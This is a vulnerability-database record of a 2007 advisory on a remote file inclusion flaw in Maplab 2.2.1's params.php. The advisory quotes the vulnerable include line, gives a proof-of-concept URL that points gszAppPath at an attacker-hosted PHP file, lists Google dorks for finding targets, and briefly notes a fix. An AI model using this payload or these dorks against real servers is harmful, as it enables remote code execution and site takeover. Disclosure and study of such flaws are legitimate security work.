{"id": "SECURITYVULNS:DOC:16548", "bulletinFamily": "software", "title": "Maplab <= 2.2.1 (gszAppPath) Remote File Inclusion Vulnerability", "description": "-----------------------------------------------------------------------------------------\r\nMaplab <= 2.2.1 (gszAppPath) Remote File Inclusion Vulnerability\r\n-----------------------------------------------------------------------------------------\r\n\r\nAuthor : Mufti Rizal a.k.a mbahngarso\r\nDate : March, 30th 2007\r\nLocation : Jakarta, Indonesia\r\nWeb : http://acak2an.blogspot.com\r\nCritical Lvl : Dangerous\r\nImpact : System access\r\nWhere : From Remote\r\n---------------------------------------------------------------------------\r\n\r\nAffected software description:\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\nApplication : Maplab\r\nversion : 2.2.1\r\nVendor : http://maptools.org\r\nDescription :\r\n\r\nA suite of web-based tools that simplifies the creation and management of MapServer maps and Web mapping applications\r\n\r\n---------------------------------------------------------------------------\r\n\r\nVulnerability:\r\n~~~~~~~~~~~~~\r\n- Invalid include function at gmapfactory/params.php : \r\n \r\n\r\n/* =========================gmapfactory/params.php==========================\r\n * Re-build the phtml file\r\n * ========================================================================= */\r\ninclude_once($gszAppPath."htdocs/gmapfactory/build_phtml.php");\r\n\r\n...\r\n----------------------------------------------------------------\r\n\r\nInput passed to the "gszAppPath" parameter in params.php is not\r\nproperly verified before being used. This can be exploited to execute\r\narbitrary PHP code by including files from local or external\r\nresources.\r\n\r\n\r\n\r\n\r\nPoc/Exploit:\r\n~~~~~~~~~\r\nhttp://www.target.com/[maplab_path]/maplab/htdocs/gmapfactory/params.php?gszAppPath=http://attacker.com/setan?\r\n\r\n\r\n\r\ngoogle d0rk:\r\n~~~~~~~\r\n"allinurl:/gmapfactory" or "allinurl:/maplab"\r\n\r\n\r\n\r\nSolution:\r\n~~~~~~\r\n\r\n- Edit the source code to ensure that input is properly verified.\r\n- Turn off register_globals\r\n\r\n\r\n---------------------------------------------------------------------------\r\n\r\nShoutz:\r\n~~~~\r\n~ K-159, the_day, etc\r\n~ Underground Community.\r\n\r\n---------------------------------------------------------------------------\r\nContact:\r\n~~~~~\r\n mbahngarso || mufti.rizal@gmail.com\r\n Homepage : http://acak2an.blogspot.com\r\n-------------------------------- [ EOF ] ----------------------------------", "published": "2007-04-03T00:00:00", "modified": "2007-04-03T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:16548", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:21", "edition": 1, "viewCount": 10, "enchantments": {"score": {"value": 2.2, "vector": "NONE"}, "dependencies": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:7522"]}], "rev": 4}, "backreferences": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:7522"]}]}, "exploitation": null, "vulnersScore": 2.2}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645247903}}

{}